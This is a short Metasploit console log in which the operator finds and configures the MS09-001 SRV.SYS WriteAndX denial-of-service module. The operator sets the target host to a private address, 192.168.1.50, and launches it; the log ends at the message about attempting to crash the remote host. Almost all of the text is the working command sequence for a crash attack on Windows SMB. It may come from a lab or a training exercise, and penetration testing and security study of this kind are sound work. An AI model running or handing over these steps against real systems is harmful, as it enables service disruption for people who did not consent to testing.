```
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms09_001

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/dos/windows/smb/ms09_001_write                   normal  No     Microsoft SRV.SYS WriteAndX Invalid
DataOffset


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/windows/smb/ms09_001_write

msf6 > use auxiliary/dos/windows/smb/ms09_001_write
msf6 auxiliary(dos/windows/smb/ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                      sics/using-metasploit.html
   RPORT   445              yes       The SMB service port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/smb/ms09_001_write) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf6 auxiliary(dos/windows/smb/ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.50     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                      sics/using-metasploit.html
   RPORT   445              yes       The SMB service port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.1.50

Attempting to crash the remote host ...
```